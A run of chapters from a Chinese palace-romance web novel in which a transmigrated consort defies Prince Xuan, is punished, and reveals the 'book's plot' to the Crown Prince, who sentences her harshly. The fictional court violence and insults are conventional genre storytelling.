她今儿穿着件榴红绣芍药蝴蝶的罗纱褙子,内搭玉白小兜,配菡萏粉百迭裙。 因着起初没注重对腿伤的养护,又是高难度搭在浴桶边,又是各种沾水。 加上这个月里她时不时就会想起自己栽进恭桶糊了一身的事,然后再毫无预兆地来点大动作呕上一番。 导致她受伤的左腿到现在还绑着夹板,这么半躺着时裙子便是撩起来的。 对这个夹板,姜侧妃很不满意。 太落后了。 就是几片柳木做的,里面放着特制药垫。 又闷又黏。 远没有二十一世纪的石膏固定效果好,打上石膏,她想什么姿势就什么姿势。 还不用担心水渗进去。 可是没办法,谁叫古代人愚昧无知呢,她一个新社会的灵魂自然要包容他们。 宣王大步流星从外面进来。 见小丫鬟分明通报他来了,姜侧妃却还不动如山地躺在软榻上饭来张口。 她的那两个陪嫁丫鬟就坐在绣墩上,娇哼似的噘着嘴换了他一声“王爷”。 宣王给气笑了。 皇明祖训,凡亲王宫眷,必谨守礼法,敢有僭分越礼者,轻则降罚,重则废黜。 奴婢敢有违越礼分者,斩! 最近这一个月他虽清醒的时间多了,但念及姜氏为他生了一双儿女,显哥儿和琼姐儿也需要她这个亲娘。 且她也受了伤。 因此,对于姜氏近期的种种无礼言行,宣王亦作睁一只眼闭一只眼。 却是没想到,她的伤是这么来的! 她竟为了那么一件不值一提的小事,便置儿女于不顾,置整个宣王府于不顾! 眼下还这般轻狂放肆! “来人!” 宣王冷喝。 屋中之人俱吓了一跳。 姜侧妃没好气地瞪过来。 春桃、秋桂倒是没有瞪,但她们还坐在墩子上,一脸同仇敌忾地看着宣王。 这时。 随着宣王的话音落下,几个太监走了进来。 这些太监是宣王开府时从宫里带出来的,宣王来后院时随行的便是他们,负责后宅里婢女的刑罚也是他们。 姜侧妃脸色再一变。 然而不待她出声,就听宣王沉声道:“将这两个不知尊卑,以下犯上的东西拖出去杖责五十,即日起驱逐出府!” 啪!啪! 春桃和秋桂摔碎了手里的碗碟,两人也终于从绣墩上站了起来,惊慌地看着走过来的那几个太监。 杖责五十也就罢,至少还有机会活下来。 但驱逐出府。 奴婢被驱逐出府可不是恢复自由身! 而是会由王府长史司出具驱逐文书,就这么以奴籍的身份被放逐到坊市,一旦被人发现奴籍便会被视为逃奴! 王府的逃奴不会有人敢用。 逃奴,人人可捕! 秋桂的胆子还是要小些。 被两个太监钳着胳膊时面色已经煞白,浑身止不住颤抖,嘴里含着“侧妃救命”。 春桃就胆大多了。 梗着脖子冲宣王嚷嚷:“王爷这是做什么!我们可是侧妃娘娘从娘家带来的!” 姜侧妃已经坐直了身,美目圆睁地瞪视着宣王:“你敢动我的人试试?!” 姜侧妃敢这么跟宣王说话也是一步步试探来的。 在现代的时候,她闲着没事时看过很多时下流行的魂穿恶毒女配的穿书文。 这种文的套路一般是: 原主胸大无脑,作天作地,对男主死缠烂打,没人喜欢她、相信她,不管她做什么身边的人对她都是各种羞辱谩骂。 女主穿过来后不在意这些人,不在意男主,然后对他们进行各种打脸虐渣。 众人就惊艳了,爱上了! 曾对原主嗤之以鼻的男主也沦陷了! 开启追妻火葬场。 姜侧妃刚发现自己穿书后就想到了她看过的穿书小说,她根本没有犹豫。 当即决定按这些穿书文套路来,然后事情发展果然和那些穿书文的剧情一样! 她只是换了打扮风格和妆面,身边的丫鬟就被她的容貌惊艳得一愣一愣的。 她故意对宣王表现得不在意,立咸鱼人设,宣王这个狗男人就真对她上心了! 愧疚了! 追妻火葬场了! 之后她再立娇气小作精人设,指挥宣王给她捏腿、洗脚、喂饭、洗澡之类的。 把这男人拿捏得团团转! 至于规矩是什么?尊卑是什么? 不存在。 她看的那些古言甜宠和古代穿书文,女主一个粗使丫鬟都能对各个阶层的达官贵人、王公贵族怼天怼地怼空气。 她一个亲王侧妃,还怕那玩意儿? 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!因着这种种想法。 姜侧妃压根儿不惧宣王。 且她本就因宣王这一个月里对她的态度转变火冒三丈,现在看宣王竟敢狗胆包天地动她身边的丫鬟。 姜侧妃怒了! 冷眼威胁宣王的同时,抓起软榻上的那柄玉如意就狠狠朝宣王砸过去! 宣王避开,怒极反笑,黑眸锁着姜侧妃,薄唇一张一合:“不得手下留情。” “是!” 几个太监皆身强力壮,闻言丝毫不怜香惜玉,扭着春桃、秋桂将人往外拖。 “主子救命!主子救救奴婢!” 秋桂死命坠着,扯着嗓子哭喊。 春桃则疯也似地挣扎,唾沫子横飞:“王爷你不能打我们!我们是侧妃娘娘的人!我们是侧妃娘娘的人!你不能,唔!” 春桃的嘴被太监蒲扇似的大手给捂住,肚子上挨了一拳,很快被拖到院子里。 立时有人摆好刑凳,拿来刑杖,春桃、秋桂被堵着嘴死死按在刑凳上。 “我看谁敢动?!谁敢动!” 姜侧妃嘶喊。 气势汹汹地从软榻上下来,跛着腿冲到外面,“揽霞居的人是都死了吗?!还不把这几个刁奴给本妃拿下!” 揽霞居的丫鬟婆子们哪敢啊。 她们又不是春桃、秋桂,成日里贴身伺候主子,跟着主子水涨船高连王爷都敢呛。 她们就是普通的下人啊,要她们拿下王爷的人,跟宫里的这些公公们动手。 扯呢吧。 丫鬟婆子们跪在地上瑟瑟发抖。 那厢春桃秋桂已经在开始被打了,五尺见长,两寸见宽的板子隔着几层薄薄的布料打在二人的臀上。 一声声沉闷的击打声。 二人跟着姜侧妃养尊处优惯了,和一些寻常大户人家中的大小姐都是比得的。 何时吃过这种苦啊。 两人的额头和脖子上的筋当即便鼓了起来,被堵着的嘴里发出粗噶的呜咽声,眼睛直了劲儿盯着姜侧妃。 听语调就知是在求救。 姜侧妃对二女倒没有多深的感情。 毕竟她不是原主。 但此二人名义上到底是她的人,她的人受辱便是她受辱,姜侧妃如何能忍! “骆屿!” 姜侧妃咬牙切齿大喊宣王名讳,转身就朝从屋中出来的宣王狠狠扑过去! 换做以前她这么动手动脚地闹,宣王非但不会罚她,反而会宠溺地将搂住她,任其挥拳在自己身上捶打。 可此刻。 宣王前所未有的清醒。 他微微一侧身,轻易避开姜侧妃的攻势。 姜侧妃反应不及扑空。 砰! 她整个人栽跌在地。 下巴狠狠磕到门槛上,牙齿咬到舌头。 一股铁锈味瞬时在她嘴里漫开,而她的那条伤腿正以一个奇怪的姿势扭曲着。 “啊!啊——我的腿!我的腿!” 喜欢小宫女携崽重生,冷情太子被哄成翘嘴了请大家收藏:()小宫女携崽重生,冷情太子被哄成翘嘴了更新速度全网最快。 第99章 姜侧妃:“太、太子……” 姜侧妃痛得浑身打摆子。 快八个月的龙凤胎平时和乳母住在东厢房,春桃秋桂被拖出来的时候两个乳母便也抱着两个孩子出来了。 此时正跪在东厢门前。 都还是不知事的时候,刚刚春桃和秋桂被按着打时,两个小家伙还在乳母怀里睁大眼睛好奇地左顾右盼。 这会儿姜侧妃忽然发出一声凄厉尖锐的叫喊,俩孩子先是朝母妃那边看了看。 随即小嘴儿一瘪,“哇”的两声齐齐哭了起来。 孩子的哭法又不一样,整个揽霞居都被这此起彼伏的孩童哭声给淹没了。 乳母们手足无措地哄着。 宣王看向这对儿龙凤胎兄妹。 姜侧妃在现代的时候就时不时会被亲戚家的孩子气,也讨厌小孩子哭。 穿过来会生孩子。 主要也是那时她认为自己这个“穿书女主”和男主宣王感情到位了,按她看的穿书文剧情进展就该生孩子了。 倒不是她蠢,非要自愿被剧情束缚。 而是在怀孩子之前,她走的每一步都是按照这种穿书文套路来的,她的这种计划让她顺顺利利活成了爽文女主。 所以为保险起见,保住自己的这份光环。 姜侧妃才坚决继续走套路。 加上亲王侧妃生了孩子不需要自己带,自己哄,甚至奶都不用喂一口。 姜侧妃便很快接受了。 打从孩子出生到现在,她也只在孩子乖的时候逗两下,孩子们一旦哭起来,自有乳母将他们抱到别处哄。 也因此。 姜侧妃这会儿本就是火大的时候,又摔了伤腿疼痛难忍,再一听两个孩子刺耳的哭声,她整个人都炸了! 想也没想冲东厢吼道:“嚎什么丧!滚——” 宣王看向她,脸色沉得几欲滴出水来。 下一刻。 他厉声道:“将大公子与二郡主抱到栖梦阁,即日起两位小主子由顾侧妃抚养!” 顾侧妃乃两年前元隆帝为制衡朝局给赐下的,当时除东宫和没开府的简王,侧妃位有空的便是慎王府和宣王府。 顾侧妃性情温和不争,早年便知宣王和宣王妃乃青梅竹马,伉俪情深。 所以进府之初就和宣王、宣王妃开诚布公地谈过,表明了自身立场。 如今顾侧妃顶着侧妃的头衔,实则是瑜姐儿的先生,和宣王妃的关系亦很融洽。 乳母一听宣王令下。 当即抱起两个孩子直奔栖梦阁。 也是巧。 乳母们刚出揽霞居不久,就和听到下人禀报,来此查看情况的宣王妃碰上了。 “怎么回事?”宣王妃的视线在两个孩子哭得涨红的脸上环视了一圈,蹙眉问。 乳母们将知晓的如实道来。 宣王妃顿了顿,带着人进了院子。 刚进去,就听到姜侧妃歇斯底里的喊叫:“骆屿!你敢把我的孩子交给别的女人养!我跟你拼了!我跟你拼了!” 宣王妃早知宣王对姜侧妃的纵容,也没少听下人说姜侧妃在王爷面前如何如何放肆无礼,王爷皆不曾计较。 男人都不计较,宣王妃才懒得管。 此刻听姜侧妃直呼宣王名讳,宣王妃眉头都没动一下,只管看向院中情况。 宣王看着姜侧妃,冷道: “你若真心疼他们,岂会为一己之私犯下如此滔天大罪,他们跟着你,日后怕是怎么死的都不知道。” 姜侧妃不懂他在放什么屁。 她只知道事情的发展不对,她堂堂穿书女主这狗男人竟然敢这么对她! 她一定要让他好看! 她要弄死他! 这么想着,姜侧妃不顾腿伤剧痛。 一口咬在一名抓着她的嬷嬷的手上,趁其吃痛挣脱,五指成爪直朝宣王脖子抓去! 被宣王一袖拂至两丈之外。 “姜侧妃目无尊卑,纵奴犯主,狂悖犯讳,罪无可恕,念其诞皇嗣有功留与性命。 掌掴二十,观刁奴施杖结束幽禁于静思苑,本王将奏禀宗人府废其侧妃之位。” 说罢,步下台阶朝宣王妃行去。 姜侧妃被两名粗壮的嬷嬷从地上押起来,挣扎之际看到了庭院中的宣王妃。 顿时,她受了什么刺激也似。 面目狰狞地对宣王妃嘶喊道:“是你!是你对骆屿说了什么做了什么对不对?!” 魂穿恶毒女配的小说里都会有一个白莲绿茶的原女主,宣王妃作为她穿的这本书里的原女主怎么可能是好的! 所以一定是她。 一定是柳疏嫣使了什么卑鄙手段!不然宣王的态度不可能变得这么大这么快! 不对,不对! 她一个穿书的,怎么可能被原女主害到! 原女主才是该被废的那个! “柳疏嫣你做了什么!臭婊子你做了……” 啪啪!啪啪! 不待宣王动怒,抓着姜侧妃的一个婆子照着她的脸就是一连串大耳刮子。 “侧妃娘娘慎言,您以下犯上,王爷已看在大公子和二郡主的份上饶您一命,您可千万别想不开自寻死路!” 宣王冷眼看着,旋即收回刚刚迈出的一只脚,牵住宣王妃的手拂袖而去! 这章没有结束,请点击下一页继续阅读!院子里刑杖击打皮肉的声音还在继续,清脆的巴掌声在二十下之后停了。 姜侧妃跌倒在地。 一张脸红肿不堪,有血水顺着她裂开的嘴角渗出来,春桃秋桂的身影变得模糊。 . 哗啦—— 一盆冷水兜头浇下。 “咳,咳咳……” 好痛。 左腿动弹不了,受伤的地方钻心得痛,脸上木木的,嘴巴一张嘴角就撕扯得厉害。 不是她屋中的青砖地面,也没有熟悉的熏香。 这是哪…… 姜侧妃吃力地撑起身子。 正要抬头打量周围。 右前方传来一道“吱呀”开门声,紧接着一片玉白色的袍摆闯入眼角余光中。 由远及近。 姜侧妃动作顿住。 屏住呼吸抬起眼,朝那片袍摆看去,视线刚定格在那抹衣袍上,她的身子一僵。 按大靖制。 皇帝与太子、亲王皆可用龙纹,但在形态、爪子的数量以及龙的数量等方面有严格的区别。 皇帝自然是五爪金龙,毋庸置疑。 太子的规制下帝一等。 常用的绣纹形态无限接近真龙,唯有爪子为四爪,且多为团龙、卧龙、侧龙。 严禁使用正龙首。 数量上也必须避开象征九五之尊的九和五,多为双龙、四龙以及八龙。 而亲王。 名义上说是龙纹,实则形态为四爪蟒。 且一定是侧面行进的蟒,蟒身的鬃毛和鳞片都比皇帝、太子的规格低。 姜侧妃曾研究过宣王衣服上的蟒纹,了解过相关规定,所以记得尤其清楚。 而此时此刻。 那片随着主人走近、落座而顺滑垂下的袍摆上,赫然绣着两条遨游于山河祥云之间威风凛凛的四爪行龙! 姜侧妃心头莫名发紧。 目光缓缓往上,果然看见了来人腰间的象牙金符、金玉绦带以及龙纹玉佩。 胸前一条侧首盘龙,袖口及衣襟处俱以金银线绣着精致繁复的花纹…… “姜宛宛。” 男人的声音冰冷低沉。 像浸在数九寒天里的玄铁相撞,无形的压迫感铺天盖地充斥在整个房间。 姜侧妃撑着地面的手不自觉一抖。 很快被她稳住。 跟着她抿紧唇大胆抬头,目光猝不及防撞入那双深不见底的冷冽黑眸里。 “太、太子……” 喜欢小宫女携崽重生,冷情太子被哄成翘嘴了请大家收藏:()小宫女携崽重生,冷情太子被哄成翘嘴了更新速度全网最快。 第100章 太子vs姜侧妃,宋槛儿重生的证据(合章) 骆峋看着不远处形容狼狈的女人,并未在意对方抬首直视他的行举。 他坐在上首处紫檀嵌金雕云蝠的三屏宝座上,审视了姜侧妃片刻,冷声问:“你可知自己因何会出现在此?” 姜侧妃不知道。 别看她穿来这么久了,参加了很多次宫宴。 但因着每次宴席都设了男女大防,以至于她对太子的印象并不深,只停留在之前偶然一次机会远远瞧见过。 知道太子冷情寡言,俊美威严。 当然了,姜侧妃对太子可没有男女方面的想法,她看小说就不喜欢人设冷的男角色。 现实中也接受不了谁成天绷着一张脸,跟别人欠了他百八十万没还似的。 和这样的人生活,想想都累。 另外她对宣王虽是按穿书文套路来的。 但她还不至于会蠢到以为全书男配都会被她的美貌所折服,都会被她所迷的地步。 神经病似的。 “我、我不知道……” 太吃惊了,也是习惯了对宣王没大没小。 加上不久前才被宣王罚过,她哽着一口气,不想再对这些古代封建权贵低头。 因此姜侧妃故意没改自称。 一旁做内侍打扮其貌不扬的男子上前要掌她的嘴,被太子一个眼神制止了。 姜侧妃看到了,心中松了口气。 也有些小得意。 看吧。 这种古言里的权贵,就跟霸总文里的霸总一样,平时见惯了对他们卑躬屈膝的人,偶尔碰上一个与众不同的。 可不就觉得她有趣,对她刮目相看了? 当初她对宣王就是这么试探过来的,但那狗男人这段时间也不知吃错了什么药。 妈的! 姜侧妃发誓,回头那死男人要对她追妻火葬场,她是绝对不会原谅的! 绝对不会! 骆峋没错过对方眼底一闪而过的自得,不懂她有何自满的,也没必要追究。 他面色与寻常无异。 “不知道,孤提醒你,万寿节当晚你拦截宋昭训时做了什么,说了什么。” 姜侧妃愣了愣,旋即脸色大变。 骆峋:“记得就行,孤现在要你将当时所言,一字不漏地复述一遍与孤听。” 姜侧妃差点一口气没上来。 什么情况?难不成那晚她跟宋槛儿说话的时候附近有太子的人?? 还是说宋槛儿向太子告状了? 姜侧妃更倾向于后者! 别看她看过不少古言和古偶,经常看到男女主随时一个眼神就能召唤出暗卫。 那些暗卫平时神出鬼没。 说是千里眼顺风耳也不为过,经常“刷”一下闪现,又“刷”一下原地消失。 好像什么都难不倒他们。 但姜侧妃清楚,这种完全不可能! 当时她跟宋槛儿说话故意选了院子正中间,院里的奴才都离了老远,她们周围至少十米内没有其他人。 而且她就是为了防止隔墙有耳,才故意凑近宋槛儿,把声音压到极致的。 就算当时附近有太子的人。 但他们又不是真的千里眼顺风耳,怎么可能离那么远还能听清她说的话? 所以,只能是宋槛儿告的状! 那个碧池。 姜侧妃给气笑了。 当着她的面装白莲花,扭头让她身边的奴才搞偷袭也就算了,还恶人先告状! 笑死。 这不就是典型的娇妻吗? 遇事不决就知道找男人告状,有本事出来跟她单挑啊,找男人算什么狗屎? 她就说这些古代女人贱! 只知道依附男人,活该被男人当成泄欲工具! 也好。 她本来也是要找机会向这男人揭穿宋槛儿的真面目,瞌睡了有人递枕头。 “宋槛儿跟你怎么说的?你把我弄到这个地方来,意思就是你信她了,对吗?” 姜侧妃坐在地上,自诩理智冷静地笑了一下,然后以平等对谈的口吻问道。 骆峋暂不想把时间浪费在教此人规矩上,他也想知道当晚两人具体发生了什么。 为君者,忌偏听偏信。 “你想说什么尽可直言。” 姜侧妃就笑出了声。 “太子果然英明,那我可就要实话实说了,不过我们先说好,一会儿不管我说什么你都不能迁怒,不能降罪于我。” 骆峋颔首,“可。” 姜侧妃很满意他的态度。 换了个稍微舒服的姿势坐着,开口道:“在说我对宋槛儿做了什么之前,我想问问你知道什么是重生吗?” 骆峋:“起死回生,招魂附体。” 姜侧妃:“???” 不是。 虽然有微妙的区别,可他怎么知道啊?重生小说不是现代才有的吗? 这个老古董咋知道的? 骆峋看出了姜侧妃的费解,但他并不打算与对方废话,只道:“继续。” 姜侧妃尴尬地咳了咳。 “知道就好,我不用费时间解释了,我现在要告诉你的是,你的宋昭训,宋槛儿。” “她就是重生的。” “不过,她的重生和你以为起死回生、招魂附体是有区别的,她不是死在最近的这段时间里,魂魄再回到身体里。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!而是她死的时候年纪已经很大了,她的魂魄是从将来回来占据了她现在的身体。” “这么说能明白吗?” 其实她更想以平行世界为例。 但这老古董肯定理解不了平行世界的概念,她实在懒得浪费口舌解释。 干脆就不说了。 骆峋面若冰霜,淡淡道:“好比你稍后身亡,你的魂魄会回到你未亡之时。” 姜侧妃点头:“对,就是我死了……” 话到一半,她脸一青。 一句“你才死了!你全家都死了!”险些脱口而出,好悬让她给及时忍住了。 “对,就是你理解的这个意思。” 她憋着气道。 “宋槛儿的魂魄就是从将来回来的,这可不是空口白话,我能列举出证据。” 说着,她换上一副神秘兮兮的表情,放轻声音:“端午射柳,她提醒过你小心,对吗?” 这里是一间密室,四面无窗。 只右侧靠墙角处有一扇小门,室中安静,姜侧妃轻缓的声音倒真有几分鬼魅之感。 骆峋神色未变。 只搁在椅子扶手上的指尖不显地动了动。 姜侧妃没注意到。 但她知道这男人一向不喜形于色,所以并没有因为他没反应就觉得自己猜错了。 她笑着继续道:“她应该是用别的方式拐弯抹角地提醒你,射柳活动里你那个葫芦里的鸽子有问题,你信了。 让人调查,葫芦里果然装着一只受伤的鸽子,而暗中动手脚的人,是睿王,我说得对吗?” 这便是她拆穿宋槛儿真面目的证据之一。 书里虽然没有详细写睿王具体怎么动的手脚,但书里的这件事是宣王这个男主在端午之后帮太子查出来的。 她在看到太子射柳没出意外的时候就知道,问题出在宋槛儿这个变故身上! 刚刚拿水泼姜侧妃的朔蜂看了眼主子,却是没能从那张清冷的脸上看出情绪。 “对。” 骆峋道,似是信了她的话。 “还有什么证据一并列出来。” 姜侧妃一喜。 便列出第二条证据。 “宋槛儿的前腰右侧有一颗米粒大小的朱砂痣,这个证据不是为了证明她是重生的,而是为了证明我了解她。 第三,宋槛儿这几个月以来性格变化是不是很大?但动作神态能装出来,身体的一些本能反应却装不出来。 不信你可以回忆,她害羞的时候有脸红吗?害怕受惊的时候脸色有白过吗?” “没有吧?” 骆峋看了她片刻,笑了。 虽转瞬即逝,但唇角的那抹弧度很明显。 他起身。 行至离姜侧妃半丈远的位置。 “你如何知晓这些的?” 姜侧妃只当他完全信了。 闻言眼珠子一转。 有的穿书小说,女主就会把知道的剧情告诉书里的人,被那些人奉为神女什么的。 要么就是借此机会和大人物搭上关系,进而获得人脉、声望、权势和地位。 有的文里甚至女主当着皇帝皇后的面,说出“这个皇帝快死了”、“这个朝代要亡了”这种话都没有被怎么样。 反而被这些人狂宠! 现在摆在她面前的,不就是这样一个机会吗?! 她只要表明自己是从二十一世纪穿越来的,再把书里的重要剧情告诉他。 她不就会被这男人奉为上宾?她不也就能过一把团宠女主的瘾了?! 到时候还不是要啥有啥! 短短一瞬间。 姜侧妃已经想象到自己被一众达官贵人,王公贵族众星拱月般拥簇的画面了。 这么想着,她丝毫没有再犹豫。 抬头。 满脸骄傲自信地看着太子。 “因为我是从未来世界穿越来的,我知道你们所在的这个世界其实是一本小说。” 接着,不需要太子追问。 她把书里的剧情一股脑都吐了出来。 譬如宣王、宣王妃是书里原本的男女主,她这具身体的原主的下场是什么。 譬如今年中秋元隆帝会率皇子群臣去秋猎,秋猎途中太子和宣王会遇险。 其实是信王干的。 再譬如太子两年后会遭幽禁,是睿王和信王联手干的,裴皇后为此气急攻心暴毙。 元隆帝从此以后不再踏入后宫半步。 当然还有太子和槛儿这对副cp,姜侧妃还很贴心地解释了什么叫做副cp。 之后就顺便把太子遭幽禁的这一年里,他的长子骆曜发烧烧坏了脑子的事。 以及太子解禁后不久,替元隆帝南巡期间骆曜掉进井里被淹死的事。 当然,姜侧妃并不知骆曜具体怎么掉井里的,身边为什么没人暗中保护。 不过这并不影响她输出。 还有槛儿为此郁郁寡欢,好几年都没再怀上。 等等。 姜侧妃全部说了! 她自觉说爽了。 完全没意识原书是以宣王、宣王妃为主角的甜宠文,对于太子和槛儿这对副cp,以及朝堂大事其实没多少细节。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!也存在许多不合理的地方。 且都尚未发生,经不起推敲和考究,而且昨日,元隆帝刚取消今年的秋猎。 最关键的是。 她这回不仅说曜哥儿死了,还说裴皇后死了,这可都是大忌中的大忌。 普通人尚且忌讳这种事。 遑论皇家。 于是,等她说完所有自己知道的剧情。 正洋洋自得地要扬起笑期待太子对她惊为天人,要将她当宝贝一样供着时。 那扇小门突然开了。 宣王从里面出来。 没等姜侧妃反应,会功夫的男人已经闪身过来,照着她的胸口就是一脚! “我只当你平日里在府上目无尊卑、言行轻狂,没想到你竟歹毒至此!是谁给你的胆子诅咒皇嗣,谋危中宫的?!” 这话若传到父皇耳中。 显哥儿、琼姐儿活不成,她姜府的全家老少跑不了,整个宣王府也别想善终! 她不在乎宣王府就罢,她连显哥儿琼姐儿都不在乎,不在乎她姜府那一大家子! 姜侧妃整个人撞到墙上,再从墙上跌落在地,霎时间一大口鲜血喷涌而出。 “骆、骆屿……” 她捂着心口,几乎喘不过气。 好不容易眼前清明了,才看清是宣王。 扑通! 宣王转身跪地,额头触地。 “臣弟知罪,不该纵容姜氏至今,但诚如臣弟早先所言,姜氏所为与宣王府其他人等无关,请太子手下留情护其周全!” 骆峋看看他,再看向姜侧妃。 片刻。 他转身缓步往那扇小门行。 “此妇咒害皇嗣谋危中宫,倾覆社稷之本,其心可诛,按律当斩,诛灭九族。 然东宫有喜皇嗣初萌,当积阴骘应天德,以保皇嗣康宁,便按大逆条例一,拔其舌断其手足筋,绝其妄言悖逆之根。” “拿什么罪名去请父皇开恩,你自清楚。” 宣王明白。 侧妃是上了皇家玉牒的,即便废了,接下来的惩处也需经得父皇准许。 若想宣王府不受连累,便绝不能让父皇知晓姜氏诅咒东宫子嗣与母后的事。 具体怎么做。 六哥已为他指明了路。 “谢太子开恩,臣谨遵太子令旨。” “站住,你站住!” 姜侧妃顾不得身上的伤,满嘴是血地喊道。 “你说了不迁怒我的!说了不降罪我的!你怎么能出尔反尔?!” 骆峋头也不回。 “孤应你一回,不曾应你第二回。” “你不信、你不信我说的话对不对?!我说的都是真的!你不信的话……不信的话你会后悔的,骆峋你绝对会后悔的!” 骆峋这次倒是站住了,但回头对上她狼狈又狰狞的目光,他道:“孤信。” “但孤为何会后悔,你不是都好心告诉孤了?还是说,你还有未曾说的?” 姜侧妃下意识答:“没,都说了。” “那不就对了?” 稍作停顿。 骆峋道:“你说与不说,其实于孤而言都没有价值,孤只需你回答你是否有在万寿节当晚诅咒孤的子嗣。” 他的语气里听不出波澜,看着她的那双丹凤眸底也不见一丝光亮和温度。 像在看没有生命的物件。 姜侧妃的心骤然一跳,脊背止不住地发寒。 直到这一刻,她再次意识到了不对。 不对,不对…… 小说套路不是这样的! 她之前也是按那些穿书文套路来的啊,明明就很有效的啊,她就是爽文女主啊。 为什么现在失效了? 为什么?! “不是这样的,不是这样的!” 姜侧妃扯着嗓子大喊,想起什么,她趴在地上拖着双腿不顾伤痛往前迅速爬了两步。 翻起眼珠子直勾勾盯着骆峋。 “宋槛儿是重生的,宋槛儿她就是个怪物!她根本不爱你,她从头到尾都在算计你!” “她熟悉你的一切,你就不怕她害你吗?!” 宣王咬牙,要把人敲晕。 骆峋抬了抬手,“让她说。” 姜侧妃以为这男人是怕了,笑了。 她是真不想针对宋槛儿。 可谁叫那女人和宣王妃这个原女主是一伙的,谁叫她先当着众人的面让她难堪的,又谁叫她先向太子告状的? 所以。 她就算是死,也不会再让宋槛儿坐上凤位! “她怀孕的时候你任由郑氏把她拘在偏殿,任由郑氏言语羞辱她,她生了孩子你任由郑氏把孩子抱走!” “如果不是你,骆曜根本就不会死!” “是你害死了她儿子!” “我猜她重生后变着花样让你同意让她自己养孩子吧?哈哈、哈哈哈……你不知道她其实恨死你了吗?!” “你不知道她死前,其实根本没有舍不得你吧?她只觉得解脱!只觉得解脱!” “她重生回来就是要向你报仇的,等将来她扶她儿子登基,你的死期就到了!” “知道屠龙吧,你今后就是她要屠的那条龙!” 最后一句,姜侧妃拼尽了全力。 随着她的话音落下,屋中一阵死寂,唯有姜侧妃粗重的喘息一声高过一声。 良久。 宛如雕塑一般的男人终于开口。 “若如你所言,骆曜确为孤所害,一位母亲对害了自己孩子的人有恨,合情合理。” “人终将一死,孤堂堂储君又有何惧。” “孤只愿大靖,能千秋万代。” “至于你说的,宋昭训不爱孤,算计于孤……”骆峋漠然地俯视着她。 “那是她活命的路数,孤不认为有何不对,孤并不在意她爱与不爱,亦不强求。” “子罕不贪为宝,孤为一国储君,又如何能向一介弱质女流索取其仅有之宝?” 喜欢小宫女携崽重生,冷情太子被哄成翘嘴了请大家收藏:()小宫女携崽重生,冷情太子被哄成翘嘴了更新速度全网最快。 第101章 太子:他与她原就谈不上信任与情爱(合章) 正值八月初。 虽已立了秋,暑热却不褪反升。 傍晚太阳落山的时候小满子、小桂子在院里洒了水,把路面仔仔细细清洗了一遍,各个花草丛和角落也都拿莫院判特制的药包熏过。 但有身孕的关系。 槛儿近段时日比瑛姑姑她们怕热得多,在院子里走了两圈不但没觉得凉快,反而感觉自己像是身在蒸笼里。 委实受不住,槛儿折身回了屋。 宫廷内训有言,妊子之时必慎所感,认为胎儿会感应到母亲的情绪言行及外界影响,加上莫院判也有相关叮嘱。 因此从满三个月开始。 每晚寒酥、跳珠和瑛姑姑会轮流给槛儿读四书五经的基础本,以及《心经》、《道德经》这类利于修身养性的书。 她们在一旁读时,槛儿就坐在书案前练大字。 正练着呢。 几个小太监在外面问太子安。 现在瑛姑姑他们对于太子来永煦院这件事高兴归高兴,但基本已经见怪不怪,能轻易做到宠辱不惊了。 闻声从善如流地便放下手上正在做的事,随槛儿一道迎了出去。 骆峋从假山池前绕过来,一眼便看到立在门前廊檐下的那道身影。 光晕朦胧,她穿了件白底绣竹叶玉兰花的褙子,如云的发髻上插了支银镶玉步摇,耳垂上戴着一对玉葫芦坠子。 清雅的装扮衬着那张昳丽姣好的脸庞,愈发显得她柔媚温婉又不失贵气。 骆峋看着这样的她,无端想起了初见她时的情形。 彼时郑氏第一次向他提想寻人替她生子的事,让人把她叫过来给他相看。 当时她一身浅绿色宫婢衣裙,双丫髻上绑着两根浅绿发带,额前一层薄薄的刘海,一如他打算临幸她那晚的装扮。 区别在于。 初见时的她委实胆小。 即便她很努力在假装从容镇定了,但那颤颤巍巍的娇躯和一开口就止不住打颤的声音还是泄露了她的情绪。 不过,大抵是见多了这样的宫人。 骆峋当时并没有什么想法,只觉得她胆小,还很莫名地想她会不会被他吓晕。 那时曹良媛的爹曹淮中在曹良媛入了东宫后,曾两度私下里和睿王的人有接触。 在查清曹淮中和睿王的关系之前,若非形势所迫,骆峋并不打算让曹良媛有孕。 金承徽刁蛮愚笨,不适合孕育皇嗣。 秦昭训。 看着她,骆峋像似看到了另一个自己。 但他又确实需要一个子嗣,故而思来想去,即便明知小宫女怕他得紧,他也还是在郑氏第三次提起此事时答应了。 再见的那晚。 骆峋其实第一眼就发现她变了。 怕他,又不怕她。 眼儿里汇聚着泪,看他的眼神却不躲不闪,身子瑟瑟发抖却敢主动碰他的唇。 敢抱他抱得那般紧。 “殿下是真不怕热呀。” 进了屋。 见太子今日难得不是沐了浴过来的,身上还穿着在外行走的缂丝窄袖锦袍。 除了脖子和头、手露在外面,其他地方包得那叫一个严实,槛儿有些意外,替太子解开领口的扣子时笑着打趣道。 骆峋握住她的手,又松开。 “让海顺来。” 对上槛儿疑惑的眼神,他薄唇微抿了抿。 旋即道:“有汗,别沾了手。” 海顺晚上没跟太子进暗室见姜侧妃,但他当时奉命守在门外,也听到了一些话。 此刻察觉到自家爷脸上微妙的神色,海顺笑盈盈地过来对槛儿道:“殿下这是心疼昭训呢,昭训赶紧歇着吧。” 槛儿假装没看出这主仆二人的异样,挪了挪步子抱住太子的胳膊,脸微微泛红。 似是被羞的。 骆峋的目光便落在她晕着薄粉的脸颊上,落在她因羞怯而轻颤的眼睫上,以及抓着他衣袖的葱白小手上。 沐过浴净了发,一切收拾妥当。 骆峋来到书房。 寒酥收起《心经》要退到一旁,见海总管背在背后的那只手在冲她们打手势。 寒酥与跳珠、瑛姑姑、周嬷嬷立马悄声退下,海顺带着她们直接退到了屋外。 骆峋先前和槛儿说过由他来处理姜侧妃的事,但没说具体在哪一天见人。 毕竟他的时间有限,还得提前各种得安排,加上平时两人相处的时候也常常没让海顺他们在屋里伺候。 所以槛儿猜出了太子今晚心情不佳,却不知具体为什么,她也没有贸然询问。 此时见太子进来,槛儿搁了笔。 拿案上的湿巾子擦了擦手。 然后绕过书案,端起喜雨不久前才送进来的经去核切成薄片的雪梨,拿银叉子叉了一片送到太子嘴边。 骆峋撞入她秋波盈盈的眸子,身形不自觉微顿,迟疑片刻终究低头张嘴衔住。 “殿下尝尝甜吗?” 槛儿自己也叉了一片吃,不忘问。 骆峋此时嘴里无味儿。 但他嚼了嚼,“嗯。” 